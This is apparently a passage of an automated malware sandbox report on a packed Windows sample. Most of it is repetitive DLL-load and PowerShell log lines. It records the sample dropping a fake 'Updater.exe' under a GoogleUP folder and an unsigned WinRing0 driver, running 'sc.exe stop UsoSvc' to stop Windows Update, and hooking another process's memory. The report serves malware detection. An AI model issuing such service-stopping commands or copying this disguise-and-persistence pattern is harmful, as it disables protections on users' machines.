              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: licensemanagersvc.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: licensemanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: clipc.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
              Source: C:\Windows\explorer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
              Source: SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeStatic PE information: Image base 0x140000000 > 0x60000000
              Source: SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeStatic file information: File size 9701376 > 1048576
              Source: SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeStatic PE information: Raw size of .vmp1 is bigger than: 0x100000 < 0x92f400
              Source: SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
              Source: Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: Updater.exe, 00000022.00000003.2147643226.0000025C11A80000.00000004.00000001.00020000.00000000.sdmp, xeorhgblkian.sys.34.dr
              Source: initial sampleStatic PE information: section where entry point is pointing to: .vmp1
              Source: SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeStatic PE information: section name: .00cfg
              Source: SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeStatic PE information: section name: .vmp0
              Source: SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeStatic PE information: section name: .vmp1
              Source: Updater.exe.0.drStatic PE information: section name: .00cfg
              Source: Updater.exe.0.drStatic PE information: section name: .vmp0
              Source: Updater.exe.0.drStatic PE information: section name: .vmp1
              Source: C:\Windows\System32\conhost.exeCode function: 58_2_0000000140001394 push qword ptr [0000000140009004h]; ret 58_2_0000000140001403

              Persistence and Installation Behavior

              barindex
              Sample is not signed and drops a device driver
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeFile created: C:\Windows\TEMP\xeorhgblkian.sysJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeFile created: C:\Windows\Temp\xeorhgblkian.sysJump to dropped file
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeFile created: C:\ProgramData\GoogleUP\Chrome\Updater.exeJump to dropped file
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeFile created: C:\ProgramData\GoogleUP\Chrome\Updater.exeJump to dropped file
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeFile created: C:\Windows\Temp\xeorhgblkian.sysJump to dropped file
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

              Hooking and other Techniques for Hiding and Protection

              barindex
              Loading BitLocker PowerShell Module
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Overwrites code with unconditional jumps - possibly settings hooks in foreign process
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeMemory written: PID: 736 base: 7FF8C8A50008 value: E9 EB D9 E9 FF Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeMemory written: PID: 736 base: 7FF8C88ED9F0 value: E9 20 26 16 00 Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeMemory written: PID: 6056 base: 7FF8C8A50008 value: E9 EB D9 E9 FF Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeMemory written: PID: 6056 base: 7FF8C88ED9F0 value: E9 20 26 16 00 Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
